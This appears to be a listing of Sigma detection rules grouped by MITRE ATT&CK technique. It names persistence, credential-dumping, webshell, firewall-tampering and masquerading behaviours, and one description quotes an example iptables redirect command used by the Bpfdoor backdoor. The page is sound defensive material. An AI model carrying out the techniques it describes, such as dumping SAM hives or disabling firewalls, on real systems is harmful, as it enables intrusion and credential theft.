Download or temporary Outlook/Internet Explorer directories CurrentVersion Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry. Common Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry. Classes Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry. CurrentControlSet Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry. CurrentVersion NT Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry. Internet Explorer Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry. Office Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry. Session Manager Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry. System Scripts Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry. WinSock2 Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry. Wow6432Node CurrentVersion Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry. Wow6432Node Classes Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry. Wow6432Node Windows NT CurrentVersion Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry. Suspicious Powershell In Registry Run Keys - Level: medium Description: Detects potential PowerShell commands or code within registry run keys Registry Persistence via Explorer Run Key - Level: high Description: Detects a possible persistence mechanism using RUN key for Windows Explorer and pointing to a suspicious folder New RUN Key Pointing to Suspicious Folder - Level: high Description: Detects suspicious new RUN key element pointing to an executable in a suspicious folder Modify User Shell Folders Startup Value - Level: high Description: Detect modification of the startup key to a path where a payload could be stored to be launched during startup VBScript Payload Stored in Registry - Level: high Description: Detects VBScript content stored into registry keys as seen being used by UNC2452 group Potential Ryuk Ransomware Activity - Level: high Description: Detects Ryuk ransomware activity Leviathan Registry Key Activity - Level: critical Description: Detects registry key used by Leviathan APT in Malaysian focused campaign Suspicious VBScript UN2452 Pattern - Level: high Description: Detects suspicious inline VBScript keywords as used by UNC2452 Potential KamiKakaBot Activity - Winlogon Shell Persistence - Level: high Description: Detects changes to the "Winlogon" registry key where a process will set the value of the "Shell" to a value that was observed being used by KamiKakaBot samples in order to achieve persistence. Kapeka Backdoor Autorun Persistence - Level: high Description: Detects the setting of a new value in the Autorun key that is used by the Kapeka backdoor for persistence. Forest Blizzard APT - Custom Protocol Handler Creation - Level: high Description: Detects the setting of a custom protocol handler with the name "rogue". Seen being created by Forest Blizzard APT as reported by MSFT. Forest Blizzard APT - Custom Protocol Handler DLL Registry Set - Level: high Description: Detects the setting of the DLL that handles the custom protocol handler. Seen being created by Forest Blizzard APT as reported by MSFT. Registry Set With Crypto-Classes From The "Cryptography" PowerShell Namespace - Level: medium Description: Detects the setting of a registry inside the "\Shell\Open\Command" value with PowerShell classes from the "System.Security.Cryptography" namespace. The PowerShell namespace "System.Security.Cryptography" provides classes for on-the-fly encryption and decryption. These can be used for example in decrypting malicious payload for defense evasion. Silence.Downloader V3 - Level: high Description: Detects Silence downloader. These commands are hardcoded into the binary.
attack.t1059.003	34	Show Rules (34) Read and Execute a File Via Cmd.exe - Level: medium Description: Detect use of "/R <" to read and execute a file via cmd.exe AWS EC2 Startup Shell Script Change - Level: high Description: Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up. Remote Access Tool - ScreenConnect Command Execution - Level: low Description: Detects command execution via ScreenConnect RMM Remote Access Tool - ScreenConnect File Transfer - Level: low Description: Detects file being transferred via ScreenConnect RMM File Was Not Allowed To Run - Level: medium Description: Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events. Remote Access Tool - ScreenConnect Temporary File - Level: low Description: Detects the creation of files in a specific location by ScreenConnect RMM. ScreenConnect has feature to remotely execute binaries on a target machine. These binaries will be dropped to ":\Users\\Documents\ConnectWiseControl\Temp\" before execution. Powershell Execute Batch Script - Level: medium Description: Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system Command Line Execution with Suspicious URL and AppData Strings - Level: medium Description: Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell) Potential CommandLine Path Traversal Via Cmd.EXE - Level: high Description: Detects potential path traversal attempt via cmd.exe. Could indicate possible command/argument confusion/hijacking Read Contents From Stdin Via Cmd.EXE - Level: medium Description: Detect the use of "<" to read and potentially execute a file via cmd.exe Powershell Executed From Headless ConHost Process - Level: medium Description: Detects the use of powershell commands from headless ConHost window. The "--headless" flag hides the windows from the user upon execution. Conhost.exe CommandLine Path Traversal - Level: high Description: detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking HTML Help HH.EXE Suspicious Child Process - Level: high Description: Detects a suspicious child process of a Microsoft HTML Help (HH.exe) Suspicious HH.EXE Execution - Level: high Description: Detects a suspicious execution of a Microsoft HTML Help (HH.exe) Operator Bloopers Cobalt Strike Commands - Level: high Description: Detects use of Cobalt Strike commands accidentally entered in the CMD shell Operator Bloopers Cobalt Strike Modules - Level: high Description: Detects Cobalt Strike module/commands accidentally entered in CMD shell HackTool - CrackMapExec Execution - Level: high Description: This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced. HackTool - CrackMapExec Execution Patterns - Level: high Description: Detects various execution patterns of the CrackMapExec pentesting framework HackTool - Jlaive In-Memory Assembly Execution - Level: medium Description: Detects the use of Jlaive to execute assemblies in a copied PowerShell HackTool - Koadic Execution - Level: high Description: Detects command line parameters used by Koadic hack tool HackTool - RedMimicry Winnti Playbook Execution - Level: high Description: Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility Suspicious HWP Sub Processes - Level: high Description: Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation PUA - AdvancedRun Execution - Level: medium Description: Detects the execution of AdvancedRun utility Remote Access Tool - ScreenConnect Remote Command Execution - Level: low Description: Detects the execution of a system command via the ScreenConnect RMM service. ZxShell Malware - Level: critical Description: Detects a ZxShell start by the called and well-known function name Elise Backdoor Activity - Level: critical Description: Detects Elise backdoor activity used by APT32 Sofacy Trojan Loader Activity - Level: high Description: Detects Trojan loader activity as used by APT28 Exploiting SetupComplete.cmd CVE-2019-1378 - Level: high Description: Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378 Potential Baby Shark Malware Activity - Level: high Description: Detects activity that could be related to Baby Shark malware Exploited CVE-2020-10189 Zoho ManageEngine - Level: high Description: Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189 Potential Pikabot Infection - Suspicious Command Combinations Via Cmd.EXE - Level: medium Description: Detects the execution of concatenated commands via "cmd.exe". Pikabot often executes a combination of multiple commands via the command handler "cmd /c" in order to download and execute additional payloads. Commands such as "curl", "wget" in order to download extra payloads. "ping" and "timeout" are abused to introduce delays in the command execution and "Rundll32" is also used to execute malicious DLL files. In the observed Pikabot infections, a combination of the commands described above are used to orchestrate the download and execution of malicious DLL files. Rorschach Ransomware Execution Activity - Level: critical Description: Detects Rorschach ransomware execution activity Potential APT FIN7 Exploitation Activity - Level: medium Description: Detects potential APT FIN7 exploitation activity as reported by Google. In order to obtain initial access, FIN7 used compromised Remote Desktop Protocol (RDP) credentials to login to a target server and initiate specific Windows process chains. Headless Process Launched Via Conhost.EXE - Level: medium Description: Detects the launch of a child process via "conhost.exe" with the "--headless" flag. The "--headless" flag hides the windows from the user upon execution.
attack.t1003.002	28	Show Rules (28) Credential Dumping Tools Service Execution - Level: critical Description: Detects well-known credential dumping tools execution via service execution events Registry Dump of SAM Creds and Secrets - Level: high Description: Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored SAM Dump to AppData - Level: high Description: Detects suspicious SAM dump activity as cause by QuarksPwDump and other password dumpers Antivirus Password Dumper Detection - Level: critical Description: Detects a highly relevant Antivirus alert that reports a password dumper. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place. Possible Impacket SecretDump Remote Activity - Zeek - Level: high Description: Detect AD credential dumping using impacket secretdump HKTL. Based on the SIGMA rules/windows/builtin/win_impacket_secretdump.yml Transferring Files with Credential Data via Network Shares - Zeek - Level: medium Description: Transferring files with well-known filenames (sensitive files with credential data) using network shares Mimikatz Use - Level: high Description: This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups) Possible Impacket SecretDump Remote Activity - Level: high Description: Detect AD credential dumping using impacket secretdump HKTL Credential Dumping Tools Service Execution - Security - Level: high Description: Detects well-known credential dumping tools execution via service execution events Transferring Files with Credential Data via Network Shares - Level: medium Description: Transferring files with well-known filenames (sensitive files with credential data) using network shares VSSAudit Security Event Source Registration - Level: informational Description: Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen. Critical Hive In Suspicious Location Access Bits Cleared - Level: high Description: Detects events from the Kernel-General ETW indicating that the access bits of a hive with a system like hive name located in the temp directory have been reset. This occurs when an application tries to access a hive and the hive has not be recognized since the last 7 days (by default). Registry hive dumping utilities such as QuarksPwDump were seen emitting this behavior. Volume Shadow Copy Mount - Level: low Description: Detects volume shadow copy mount via Windows event log Credential Dumping Tools Service Execution - System - Level: high Description: Detects well-known credential dumping tools execution via service execution events Cred Dump Tools Dropped Files - Level: high Description: Files with well-known filenames (parts of credential dump software or files produced by them) creation HackTool - QuarksPwDump Dump File - Level: critical Description: Detects a dump file written by QuarksPwDump password dumper NTDS.DIT Creation By Uncommon Process - Level: high Description: Detects creation of a file named "ntds.dit" (Active Directory Database) by an uncommon process or a process located in a suspicious directory Potential SAM Database Dump - Level: high Description: Detects the creation of files that look like exports of the local SAM (Security Account Manager) HackTool - Credential Dumping Tools Named Pipe Created - Level: critical Description: Detects well-known credential dumping tools execution via specific named pipe creation VolumeShadowCopy Symlink Creation Via Mklink - Level: high Description: Shadow Copies storage symbolic link creation using operating systems utilities Copying Sensitive Files with Credential Data - Level: high Description: Files with well-known filenames (sensitive files with credential data) copying HackTool - Mimikatz Execution - Level: high Description: Detection well-known mimikatz command line arguments HackTool - Pypykatz Credentials Dumping Activity - Level: high Description: Detects the usage of "pypykatz" to obtain stored credentials. Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database through Windows registry where the SAM database is stored HackTool - Quarks PwDump Execution - Level: high Description: Detects usage of the Quarks PwDump tool via commandline arguments PowerShell SAM Copy - Level: high Description: Detects suspicious PowerShell scripts accessing SAM hives Dumping of Sensitive Hives Via Reg.EXE - Level: high Description: Detects the usage of "reg.exe" in order to dump sensitive registry hives. This includes SAM, SYSTEM and SECURITY hives. Shadow Copies Creation Using Operating Systems Utilities - Level: medium Description: Shadow Copies creation using operating systems utilities, possible credential access Esentutl Volume Shadow Copy Service Keys - Level: high Description: Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\System\\CurrentControlSet\\Services\\VSS\\Diag\\VolSnap\\Volume are captured.
attack.t1505.003	28	Show Rules (28) Antivirus Web Shell Detection - Level: high Description: Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big WebShell repository from e.g. github and checking the matches. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place. Webshell Remote Command Execution - Level: critical Description: Detects possible command execution by web application/web shell Shellshock Expression - Level: high Description: Detects shellshock expressions in log files Linux Webshell Indicators - Level: high Description: Detects suspicious sub processes of web server processes Suspicious Windows Strings In URI - Level: high Description: Detects suspicious Windows strings in URI which could indicate possible exfiltration or webshell communication Webshell ReGeorg Detection Via Web Logs - Level: high Description: Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg. Windows Webshell Strings - Level: high Description: Detects common commands used in Windows webshells Mailbox Export to Exchange Webserver - Level: critical Description: Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it Certificate Request Export to Exchange Webserver - Level: critical Description: Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell Exchange Set OabVirtualDirectory ExternalUrl Property - Level: high Description: Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log Suspicious ASPX File Drop by Exchange - Level: high Description: Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder Suspicious File Drop by Exchange - Level: medium Description: Detects suspicious file type dropped by an Exchange component in IIS Suspicious MSExchangeMailboxReplication ASPX Write - Level: high Description: Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation Potential Webshell Creation On Static Website - Level: medium Description: Detects the creation of files with certain extensions on a static web site. This can be indicative of potential uploads of a web shell. IIS Native-Code Module Command Line Installation - Level: medium Description: Detects suspicious IIS native-code module installations via command line Suspicious Child Process Of SQL Server - Level: high Description: Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection. Chopper Webshell Process Pattern - Level: high Description: Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells Webshell Hacking Activity Patterns - Level: high Description: Detects certain parent child patterns found in cases in which a web shell is used to perform certain credential dumping or exfiltration activities on a compromised system Webshell Detection With Command Line Keywords - Level: high Description: Detects certain command line parameters often used during reconnaissance activity via web shells Suspicious Process By Web Server Process - Level: high Description: Detects potentially suspicious processes being spawned by a web server process which could be the result of a successfully placed web shell or exploitation Webshell Tool Reconnaissance Activity - Level: high Description: Detects processes spawned from web servers (PHP, Tomcat, IIS, etc.) that perform reconnaissance looking for the existence of popular scripting tools (perl, python, wget) on the system via the help commands Rejetto HTTP File Server RCE - Level: high Description: Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287 Oracle WebLogic Exploit - Level: critical Description: Detects access to a webshell dropped into a keystore folder on the WebLogic server Solarwinds SUPERNOVA Webshell Access - Level: critical Description: Detects access to SUPERNOVA webshell as described in Guidepoint report CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit - Level: critical Description: Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539). DEWMODE Webshell Access - Level: high Description: Detects access to DEWMODE webshell as described in FIREEYE report MOVEit CVE-2023-34362 Exploitation Attempt - Potential Web Shell Request - Level: high Description: Detects get requests to specific files used during the exploitation of MOVEit CVE-2023-34362 Execution From Webserver Root Folder - Level: medium Description: Detects a program executing from a web server root folder. Use this rule to hunt for potential interesting activity such as webshell or backdoors
attack.t1562.004	28	Show Rules (28) Azure Firewall Modified or Deleted - Level: medium Description: Identifies when a firewall is created, modified, or deleted. Azure Firewall Rule Collection Modified or Deleted - Level: medium Description: Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted. Bpfdoor TCP Ports Redirect - Level: medium Description: All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392' The traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only. Disable System Firewall - Level: high Description: Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network. Modify System Firewall - Level: medium Description: Detects the removal of system firewall rules. Adversaries may only delete or modify a specific system firewall rule to bypass controls limiting network usage or access. Detection rules that match only on the disabling of firewalls will miss this. Disabling Security Tools - Builtin - Level: medium Description: Detects disabling security tools Ufw Force Stop Using Ufw-Init - Level: medium Description: Detects attempts to force stop the ufw using ufw-init Flush Iptables Ufw Chain - Level: medium Description: Detect use of iptables to flush all firewall rules, tables and chains and allow all network traffic Disabling Security Tools - Level: medium Description: Detects disabling security tools Uncommon New Firewall Rule Added In Windows Firewall Exception List - Level: medium Description: Detects when a rule has been added to the Windows Firewall exception list New Firewall Rule Added In Windows Firewall Exception List For Potential Suspicious Application - Level: high Description: Detects the addition of a new rule to the Windows Firewall exception list for an application located in a potentially suspicious location. New Firewall Rule Added In Windows Firewall Exception List Via WmiPrvSE.EXE - Level: medium Description: Detects the addition of a new "Allow" firewall rule by the WMI process (WmiPrvSE.EXE). This can occur if an attacker leverages PowerShell cmdlets such as "New-NetFirewallRule", or directly uses WMI CIM classes such as "MSFT_NetFirewallRule". All Rules Have Been Deleted From The Windows Firewall Configuration - Level: high Description: Detects when a all the rules have been deleted from the Windows Defender Firewall configuration A Rule Has Been Deleted From The Windows Firewall Exception List - Level: medium Description: Detects when a single rules or all of the rules have been deleted from the Windows Defender Firewall The Windows Defender Firewall Service Failed To Load Group Policy - Level: low Description: Detects activity when The Windows Defender Firewall service failed to load Group Policy Windows Defender Firewall Has Been Reset To Its Default Configuration - Level: low Description: Detects activity when Windows Defender Firewall has been reset to its default configuration Windows Firewall Settings Have Been Changed - Level: low Description: Detects activity when the settings of the Windows firewall have been changed Windows Firewall Profile Disabled - Level: medium Description: Detects when a user disables the Windows Firewall via a Profile to help evade defense. New Firewall Rule Added Via Netsh.EXE - Level: medium Description: Detects the addition of a new rule to the Windows firewall via netsh Suspicious Program Location Whitelisted In Firewall Via Netsh.EXE - Level: high Description: Detects Netsh command execution that whitelists a program located in a suspicious location in the Windows Firewall RDP Connection Allowed Via Netsh.EXE - Level: high Description: Detects usage of the netsh command to open and allow connections to port 3389 (RDP). As seen used by Sarwent Malware Firewall Rule Deleted Via Netsh.EXE - Level: medium Description: Detects the removal of a port or application rule in the Windows Firewall configuration using netsh Firewall Disabled via Netsh.EXE - Level: medium Description: Detects netsh commands that turns off the Windows firewall Netsh Allow Group Policy on Microsoft Defender Firewall - Level: medium Description: Adversaries may modify system firewalls in order to bypass controls limiting network usage Disable Microsoft Defender Firewall via Registry - Level: medium Description: Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage Disable Windows Firewall by Registry - Level: medium Description: Detect set EnableFirewall to 0 to disable the Windows firewall Firewall Rule Modified In The Windows Firewall Exception List - Level: low Description: Detects when a rule has been modified in the Windows firewall exception list New Windows Firewall Rule Added Via New-NetFirewallRule Cmdlet - ScriptBlock - Level: low Description: Detects when a powershell script contains calls to the "New-NetFirewallRule" cmdlet in order to add a new firewall rule with an "Allow" action.
attack.t1036.003	27	Show Rules (27) Renamed PaExec Execution - Level: medium Description: Detects execution of renamed paexec via imphash and executable product string Renamed PsExec - Level: high Description: Detects the execution of a renamed PsExec often used by attackers or malware Renamed PowerShell - Level: high Description: Detects the execution of a renamed PowerShell often used by attackers or malware Masquerading as Linux Crond Process - Level: medium Description: Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed. Potential Homoglyph Attack Using Lookalike Characters in Filename - Level: medium Description: Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters. Renamed Powershell Under Powershell Channel - Level: low Description: Detects a renamed Powershell execution, which is a common technique used to circumvent security controls and bypass detection logic that's dependent on process names and process paths. Suspicious Start-Process PassThru - Level: medium Description: Powershell use PassThru option to start in background Suspicious Download From Direct IP Via Bitsadmin - Level: high Description: Detects usage of bitsadmin downloading a file using an URL that contains an IP File Download Via Bitsadmin - Level: medium Description: Detects usage of bitsadmin downloading a file Suspicious Download From File-Sharing Website Via Bitsadmin - Level: high Description: Detects usage of bitsadmin downloading a file from a suspicious domain File With Suspicious Extension Downloaded Via Bitsadmin - Level: high Description: Detects usage of bitsadmin downloading a file with a suspicious extension File Download Via Bitsadmin To A Suspicious Target Folder - Level: high Description: Detects usage of bitsadmin downloading a file to a suspicious target folder File Download Via Bitsadmin To An Uncommon Target Folder - Level: medium Description: Detects usage of bitsadmin downloading a file to uncommon target folder PUA - Potential PE Metadata Tamper Using Rcedit - Level: medium Description: Detects the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion. Potential Defense Evasion Via Binary Rename - Level: medium Description: Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint. Potential Defense Evasion Via Rename Of Highly Relevant Binaries - Level: high Description: Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint. Renamed BrowserCore.EXE Execution - Level: high Description: Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens) Renamed Jusched.EXE Execution - Level: high Description: Detects the execution of a renamed "jusched.exe" as seen used by the cobalt group Renamed Msdt.EXE Execution - Level: high Description: Detects the execution of a renamed "Msdt.exe" binary Renamed ProcDump Execution - Level: high Description: Detects the execution of a renamed ProcDump executable. This often done by attackers or malware in order to evade defensive mechanisms. Suspicious Copy From or To System Directory - Level: medium Description: Detects a suspicious copy operation that tries to copy a program from system (System32, SysWOW64, WinSxS) directories to another on disk. Often used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations. LOL-Binary Copied From System Directory - Level: high Description: Detects a suspicious copy operation that tries to copy a known LOLBIN from system (System32, SysWOW64, WinSxS) directories to another on disk in order to bypass detections based on locations. Potential Homoglyph Attack Using Lookalike Characters - Level: medium Description: Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters. Windows Processes Suspicious Parent Directory - Level: low Description: Detect suspicious parent processes of well-known Windows processes Potential WerFault ReflectDebugger Registry Value Abuse - Level: high Description: Detects potential WerFault "ReflectDebugger" registry value abuse for persistence. Potential PendingFileRenameOperations Tampering - Level: medium Description: Detect changes to the "PendingFileRenameOperations" registry key from uncommon or suspicious images locations to stage currently used files for rename or deletion after reboot. Ps.exe Renamed SysInternals Tool - Level: high Description: Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report
attack.t1218.010	26	Show Rules (26) New Lolbin Process by Office Applications - Level: high Description: This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated. Excel Proxy Executing Regsvr32 With Payload - Level: high Description: Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin). But we have command-line in the event which allow us to "restore" this suspicious parent-child chain and detect it. Monitor process creation with "wmic process call create" and LOLBins in command-line with parent Office application processes. Excel Proxy Executing Regsvr32 With Payload Alternate - Level: high Description: Excel called wmic to finally proxy execute regsvr32 with the payload. An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin). But we have command-line in the event which allow us to "restore" this suspicious parent-child chain and detect it. Monitor process creation with "wmic process call create" and LOLBins in command-line with parent Office application processes. Office Applications Spawning Wmi Cli Alternate - Level: high Description: Initial execution of malicious document calls wmic to execute the file with regsvr32 Regsvr32 Anomaly - Level: high Description: Detects various anomalies in relation to regsvr32.exe WMI Execution Via Office Process - Level: medium Description: Initial execution of malicious document calls wmic to execute the file with regsvr32 DNS Query Request By Regsvr32.EXE - Level: medium Description: Detects DNS queries initiated by "Regsvr32.exe" Unsigned DLL Loaded by Windows Utility - Level: medium Description: Detects windows utilities loading an unsigned or untrusted DLL. Adversaries often abuse those programs to proxy execution of malicious code. Network Connection Initiated By Regsvr32.EXE - Level: medium Description: Detects a network connection initiated by "Regsvr32.exe" HTML Help HH.EXE Suspicious Child Process - Level: high Description: Detects a suspicious child process of a Microsoft HTML Help (HH.exe) Suspicious HH.EXE Execution - Level: high Description: Detects a suspicious execution of a Microsoft HTML Help (HH.exe) Suspicious Microsoft Office Child Process - Level: high Description: Detects a suspicious process spawning from one of the Microsoft Office suite products (Word, Excel, PowerPoint, Publisher, Visio, etc.) Potential Regsvr32 Commandline Flag Anomaly - Level: medium Description: Detects a potential command line flag anomaly related to "regsvr32" in which the "/i" flag is used without the "/n" which should be uncommon. Potentially Suspicious Regsvr32 HTTP IP Pattern - Level: high Description: Detects regsvr32 execution to download and install DLLs located remotely where the address is an IP address. Potentially Suspicious Regsvr32 HTTP/FTP Pattern - Level: medium Description: Detects regsvr32 execution to download/install/register new DLLs that are hosted on Web or FTP servers. Suspicious Regsvr32 Execution From Remote Share - Level: high Description: Detects REGSVR32.exe to execute DLL hosted on remote shares Potentially Suspicious Child Process Of Regsvr32 - Level: high Description: Detects potentially suspicious child processes of "regsvr32.exe". Regsvr32 Execution From Potential Suspicious Location - Level: medium Description: Detects execution of regsvr32 where the DLL is located in a potentially suspicious location. Regsvr32 Execution From Highly Suspicious Location - Level: high Description: Detects execution of regsvr32 where the DLL is located in a highly suspicious locations Regsvr32 DLL Execution With Suspicious File Extension - Level: high Description: Detects the execution of REGSVR32.exe with DLL files masquerading as other files Scripting/CommandLine Process Spawned Regsvr32 - Level: medium Description: Detects various command line and scripting engines/processes such as "PowerShell", "Wscript", "Cmd", etc. spawning a "regsvr32" instance. Suspicious WMIC Execution Via Office Process - Level: high Description: Office application called wmic to proxye execution through a LOLBIN process. This is often used to break suspicious parent-child chain (Office app spawns LOLBin). Suspicious WmiPrvSE Child Process - Level: high Description: Detects suspicious and uncommon child processes of WmiPrvSE Potential APT-C-12 BlueMushroom DLL Load Activity Via Regsvr32 - Level: medium Description: Detects potential BlueMushroom DLL loading activity via regsvr32 from AppData Local Potential EmpireMonkey Activity - Level: high Description: Detects potential EmpireMonkey APT activity File Creation by Office Applications - Level: high Description: This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice.
attack.t1564.004	25	Show Rules (25) Cmd Stream Redirection - Level: medium Description: Detects the redirection of an alternate data stream (ADS) of / within a Windows command line session Abusing Findstr for Defense Evasion - Level: medium Description: Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism Hidden Flag Set On File/Directory Via Chflags - MacOS - Level: medium Description: Detects the execution of the "chflags" utility with the "hidden" flag, in order to hide files on MacOS. When a file or directory has this hidden flag set, it becomes invisible to the default file listing commands and in graphical file browsers. Hidden Executable In NTFS Alternate Data Stream - Level: medium Description: Detects the creation of an ADS (Alternate Data Stream) that contains an executable by looking at a non-empty Imphash Suspicious File Download From File Sharing Websites - File Stream - Level: high Description: Detects the download of suspicious file type from a well-known file and paste sharing domain Unusual File Download From File Sharing Websites - File Stream - Level: medium Description: Detects the download of suspicious file type from a well-known file and paste sharing domain HackTool Named File Stream Created - Level: high Description: Detects the creation of a named file stream with the imphash of a well-known hack tool Exports Registry Key To an Alternate Data Stream - Level: high Description: Exports the target Registry key and hides it in the specified alternate data stream. Unusual File Download from Direct IP Address - Level: high Description: Detects the download of suspicious file type from URLs with IP Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - Level: medium Description: Detects the creation of hidden file/folder with the "::$index_allocation" stream. Which can be used as a technique to prevent access to folder and files from tooling such as "explorer.exe" and "powershell.exe" NTFS Alternate Data Stream - Level: high Description: Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging. Powershell Store File In Alternate Data Stream - Level: medium Description: Storing files in Alternate Data Stream (ADS) similar to Astaroth malware. Remote File Download Via Findstr.EXE - Level: medium Description: Detects execution of "findstr" with specific flags and a remote share path. This specific set of CLI flags would allow "findstr" to download the content of the file located on the remote share as described in the LOLBAS entry. Insensitive Subfolder Search Via Findstr.EXE - Level: low Description: Detects execution of findstr with the "s" and "i" flags for a "subfolder" and "insensitive" search respectively. Attackers sometimes leverage this built-in utility to search the system for interesting files or filter through results of commands. Suspicious Diantz Alternate Data Stream Execution - Level: medium Description: Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file. Suspicious Extrac32 Alternate Data Stream Execution - Level: medium Description: Extract data from cab file and hide it in an alternate data stream PrintBrm ZIP Creation of Extraction - Level: high Description: Detects the execution of the LOLBIN PrintBrm.exe, which can be used to create or extract ZIP files. PrintBrm.exe should not be run on a normal workstation. Run PowerShell Script from ADS - Level: high Description: Detects PowerShell script execution from Alternate Data Stream (ADS) Potential Rundll32 Execution With DLL Stored In ADS - Level: high Description: Detects execution of rundll32 where the DLL being called is stored in an Alternate Data Stream (ADS). Execute From Alternate Data Streams - Level: medium Description: Detects execution from an Alternate Data Stream (ADS). Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - CLI - Level: medium Description: Detects command line containing reference to the "::$index_allocation" stream, which can be used as a technique to prevent access to folders or files from tooling such as "explorer.exe" or "powershell.exe" Use Short Name Path in Command Line - Level: medium Description: Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection Use Short Name Path in Image - Level: medium Description: Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection Use NTFS Short Name in Command Line - Level: medium Description: Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection Use NTFS Short Name in Image - Level: medium Description: Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection
